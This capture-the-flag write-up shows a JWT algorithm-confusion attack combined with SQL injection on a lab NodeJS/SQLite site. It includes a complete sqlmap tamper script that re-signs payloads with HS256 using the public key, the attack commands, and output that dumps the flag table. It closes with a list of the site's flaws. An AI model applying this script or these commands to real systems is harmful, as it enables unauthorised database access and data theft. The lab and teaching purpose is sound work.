ATTACKING JWT’S WITH A CUSTOM SQLMAP TAMPER SCRIPT
Automating the Attack with SQLmap and a Custom Tamper Script
Let’s review what I know and where I’m at in capturing the flag:
- The web server is NodeJS Express
- The database is SQLite
- The hole in the wall is the JSON Web Token.
- The JWT
username
field is vulnerable to SQL Injection. - I have the JWT signing public key.
- I can change the signing algorithm to HMAC (HS256) and using the public key, I can sign the token. The new token is accepted by the server.
- An injection attack needs to be signed and encoded before being delivered.
Now, I’m not that great at SQL Injections (yet ;)). I know the basics, but there are tools that automate the attack very nicely (albeit akin to brute-forcing with all its noisiness). The best tool for this is sqlmap
. I used it at the beginning of my investigation and it found nothing. Now I know why. On it’s own, it can’t base64 encode and sign the injection attack. I can tell it to test the session
field in the cookie by using a ‘*’ in the command options, but it’s payload needs to be signed.
sqlmap -u http://192.168.100.1:1337/ --cookie "session=*" --param-filter="COOKIE" --dbms sqlite3 --proxy "http://192.168.100.1:8080" --risk 3 --level=2
SQLmap
has a feature where you can modify the payload using plugable “tamper” scripts. A number of them are installed with sqlmap by default. Mostly, they’re used for evading Web Application Firewalls by modifying the payload to be escaped, encoded, quoted, spaced out, etc. All sorts of variations. What I want it to do is to take the JWT public key and create a newly signed JWT for every payload.
I’m going to have to program this myself. Tamper scripts are limited in their input to only the payload. I already have the public key, so it can be hard coded into the script to avoid having to GET /
and extract the public key for every iteration. The tamper script will create a new JWT with the sqlmap payload in the username
field and sign it with the public key. This is what I ended up with. The comments should document what’s happening.
(See the references at the end for documentation and resources on sqlmap
tamper scripts.)
!/usr/bin/env python3
import logging
import json
import hmac
from base64 import b64encode, b64decode
from lib.core.enums import PRIORITY
"""
Tamper script that encodes the sqlmap payload in the JWT payload
and re-signs the JWT with the public key.
"""
# Define which is the order of application of tamper scripts against the payload
__priority__ = PRIORITY.NORMAL
# output using the sqlmap internal logger
log2 = logging.getLogger("sqlmapLog")
# hard coded public key taken from the original JWT
public_key = "-----BEGIN PUBLIC KEY-----\nMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAzUnvbGidoxaoIlYQDtl8\n8BIK1YJRB4kghRPIIeKOCB0HaoVi55FfqVu+nQLPFh4jEKEF6Yh41tLZqb5QayjS\n9Hbx0RhZt3ZqQwI+BcF9ysnqRL0W1dzgneG2KKf7+QBZj58fjKJV2/iH/VsX1iei\ne176q2kVrSabv/5nQJcEnCELdYnuQa6BcuFPefr0rEeLDIfgB0zsHPJnNI1QY6TQ\nQDj++4nSW/wdyWSLwdUZCvdOD6pqTtzVTBON9RBEyL7BPjPZbyu9vHP9SqUBpSfI\nXG5RPm8HpZovmzwOW2K8Dk8amINrk+DXHNgV577ZGw2FyNiGo2bNKfhK9uVVslGQ\nEnn0ZgeYKHJcgAc5i6cnCoeHB4EDP2IyNMiIQXIVEDf+WM6+Op65Klhij2/wLRfw\nTo5srtGEBqaXjgROEhc2N6Ugs9AW9VXsWeSsa0bdIj7QDTwmYE8Y5wnuuORA4C9j\n6iESP77klFtPPRspeVeDZLhwn/6IviqdKfqhlnD97Fwpyz+c0MnOK2fQYS6FdmDK\nbw5smVFpj5QGMNbwm/O77A9gttUmdRaR/7BPxTr9elt4jd7z4pReE0NdjhDB6/Vc\nRw3gYa8l4ROsou6KFvIDXIQaLjpvGtq7Ze7rmNvNnkRkn67FJp43rbiWpMG8xfcE\n5bqmy7fNSiGkHy5uoVace9MCAwEAAQ==\n-----END PUBLIC KEY-----\n"
iat = 1603441231
def create_signed_token(key, data):
"""
Creates a complete JWT token with 'data' as the JWT payload.
Exclusively uses sha256 HMAC.
"""
# create base64 header
header = json.dumps({"typ":"JWT","alg":"HS256"}).encode()
b64header = b64encode(header).rstrip(b'=')
# create base64 payload
payload = json.dumps(data).encode()
b64payload = b64encode(payload).rstrip(b'=')
# put the header and payload together
hdata = b64header + b'.' + b64payload
# create the signature
verifySig = hmac.new(key, msg=hdata, digestmod='sha256')
verifySig = b64encode(verifySig.digest())
verifySig = verifySig.replace(b'/', b'_').replace(b'+', b'-').strip(b'=')
# put the header, payload and signature together
token = hdata + b'.' + verifySig
return token
def craftExploit(payload):
pk = public_key.encode()
# put the sqlmap payload in the data
data = {"username": payload, "iat": iat}
log2.info(json.dumps(data, separators=(',',':')))
token = create_signed_token(pk, data)
return token.decode('utf-8')
def tamper(payload, **kwargs):
"""
This is the entry point for the script. sqlmap calls tamper() for every payload.
Encodes the sqlmap payload in the JWT payload
and re-signs the JWT with the public key.
"""
# create a new payload jwt token re-signed with HS256
retVal = craftExploit(payload)
#log2.info(json.dumps({"payload": payload}))
# return the tampered payload
return retVal
Attack the Target with the Tamper Script
This is the final command I used to attack the site with the custom tamper script. To explain, SQLmap itterates through a number of SQL injection tests. When a tamper script is used, it sends each attack to the tamper script using the tamper(payload, **kwargs)
function to be encoded and signed into the JWT token before sending it to the website and checking the result.
sqlmap -u http://192.168.100.1:1337 --flush-session --fresh-queries --cookie "session=*" --dbms sqlite3 --proxy "http://192.168.100.1:8080" --risk 3 --level=2 --tamper tamper2.py --tables
--flush-session --fresh-queries
– clear any previous saved session. I use this until I get a working injection.--cookie "session=*"
– The ‘*’ tells sqlmap specifically where to test.--dbms sqlite3
– Limit attacks to SQLITE flavoured injections--proxy "http://192.168.100.1:8080"
– Burp will capture all traffic for later examining--risk 3 --level=2
– Level 2 attacks cookies. The higher risk increases the chance that an injection will make changes to the database.--tamper jwt_encode.py
– Use my custom tamper script--tables
– If a successful injection is found, output a list of the database Tables
Output
___
__H__
___ ___[(]_____ ___ ___ {1.4.10#stable}
|_ -| . [,] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 23:38:32 /2020-10-23/
[23:38:32] [INFO] loading tamper module 'jwt_encode'
custom injection marker ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q]
[23:38:33] [WARNING] it seems that you've provided empty parameter value(s) for testing. Please, always use only valid parameter values so sqlmap could be able to run properly
[23:38:33] [WARNING] provided value for parameter 'session' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[23:38:33] [INFO] flushing session file
[23:38:33] [INFO] testing connection to the target URL
[23:38:33] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests
[23:38:33] [INFO] checking if the target is protected by some kind of WAF/IPS
[23:38:33] [INFO] testing if the target URL content is stable
[23:38:34] [INFO] target URL content is stable
[23:38:34] [INFO] testing if (custom) HEADER parameter 'Cookie #1*' is dynamic
[23:38:34] [INFO] {"username":"3042","iat":1603441231}
do you want to URL encode cookie values (implementation specific)? [Y/n]
[23:38:36] [INFO] (custom) HEADER parameter 'Cookie #1*' appears to be dynamic
[23:38:36] [INFO] {"username":"(.')))\"(.(","iat":1603441231}
[23:38:36] [WARNING] heuristic (basic) test shows that (custom) HEADER parameter 'Cookie #1*' might not be injectable
[23:38:36] [INFO] {"username":"'sDbyBm<'\">QCWhzz","iat":1603441231}
[23:38:36] [INFO] testing for SQL injection on (custom) HEADER parameter 'Cookie #1*'
[23:38:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:38:36] [INFO] {"username":") AND 1146=1454 AND (8304=8304","iat":1603441231}
[23:38:36] [INFO] {"username":") AND 2958=2958 AND (8190=8190","iat":1603441231}
[snip...]
(custom) HEADER parameter 'Cookie #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 227 HTTP(s) requests:
---
Parameter: Cookie #1* ((custom) HEADER)
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: session=' UNION ALL SELECT 'qbqbq'||'oWsUasmxHXNrnKTVSjoAHZKmiIdxhAUVhKedUfec'||'qjvpq',NULL-- zKrD
---
[23:38:59] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[23:38:59] [INFO] fetching tables for database: 'SQLite_masterdb'
[23:39:00] [INFO] retrieved: 'flag'
[23:39:00] [INFO] retrieved: 'sqlite_sequence'
[23:39:00] [INFO] retrieved: 'users'
Database: SQLite_masterdb
[3 tables]
+-----------------+
| flag |
| sqlite_sequence |
| users |
+-----------------+
[*] ending @ 23:39:00 /2020-10-23/
NICE! I reached the database! There’s a flag
table. Adjust the sqlmap command and get it.
sqlmap -u http://192.168.100.1:1337 --cookie "session=*" --dbms sqlite3 --proxy "http://192.168.100.1:8080" --risk 3 --level=2 --tamper jwt_encode.py --dump -D flag
[snip...]
Database: SQLite_masterdb
Table: flag
[1 entry]
+----+-------------------+
| id | secret_flag |
+----+-------------------+
| 1 | super_secret_flag |
+----+-------------------+
Challenge completed.
What Went Wrong
As someone who does these sorts of challenges in order to understand vulnerabilities, here’s what I see went wrong with the website:
- The NodeJS library that is used for JWT’s accepted RS256 and HS256. It should only accept one signature type.
- The public key was exposed. Normally, it’s OK for public keys to be, well, “public”. In this case, HS256 made it a big vulnerability.
- The code for the database did not sanitize or “prepare” the input. It nearly executed the input values to the database.
- Why was the database queried a second time for the username after the initial POST for the login? The coding seems to have uneeded queries.